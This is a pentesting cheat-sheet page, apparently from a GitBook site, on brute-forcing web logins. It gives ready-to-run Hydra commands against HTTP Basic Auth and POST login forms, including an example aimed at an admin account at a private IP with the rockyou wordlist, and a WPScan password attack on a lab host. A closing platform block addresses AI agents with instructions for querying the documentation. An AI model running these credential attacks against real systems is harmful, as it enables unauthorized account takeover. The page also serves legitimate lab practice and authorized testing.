> For the complete documentation index, see [llms.txt](https://heinosass.gitbook.io/leet-sheet/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://heinosass.gitbook.io/leet-sheet/web-app-hacking/server-attacks/attacking-authentication-methods/brute-forcing-web-forms.md).

# Brute Forcing Web Forms

### HTTP Basic Auth&#x20;

Bruteforce HTTP Basic Auth&#x20;

```
hydra -L users.lst -P passwords.txt -f www.site.org http-head /path/of/target/ -V 
```

Flags:

* `-V`: verbose mode
* `-f`: exit after the first login pair is found

### HTTP POST

Bruteforcing HTTP POST form:&#x20;

```
hydra http-form-post "login_path:form_username_name=^USER^&form_password_name=^PASS^:failed_login_text" -l username -P passwords_wordlist.txt -t 10
```

Options:

* `login_path`: The URL of the login form, e.g `/login.php`.
* `form_username_name`: The "name" variable of the username input field of the form.
* `form_password_name`: The "name" variable of the password input field of the form.
* `failed_login_text`: Text which indicates to Hydra that the login failed, for example "Invalid Credentials."
* `username`: The username of the user you want to brute force.

Flags:

* `-t`: The number of threads.
* `-l`: Specifies the username of the user to brute force.
* `-L`: Specifies a wordlist of usernames to brute force.
* `-P`: Specifies a wordlist of passwords to brute force.

Example use where a failed login redirected to a page with a `?error=1` GET parameter:&#x20;

```
hydra 192.168.101.10 http-form-post "/index.php?module=Users&action=Login:__vtrftk=sid%3A9db267cda06a381fdff01c51a36d2362551c82c2%2C1527426288&username=^USER^&password=^PASS^:error=1" -P /usr/share/wordlists/rockyou.txt -t 64 -l admin
```

### WordPress login

Brute forcing WordPress logins using WPScan:

```
wpscan --url https://brainfuck.htb --passwords /home/x90slide/resources/SecLists/Passwords/Leaked-Databases/rockyou.txt --usernames admin,orestis --disable-tls-checks
```


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://heinosass.gitbook.io/leet-sheet/web-app-hacking/server-attacks/attacking-authentication-methods/brute-forcing-web-forms.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
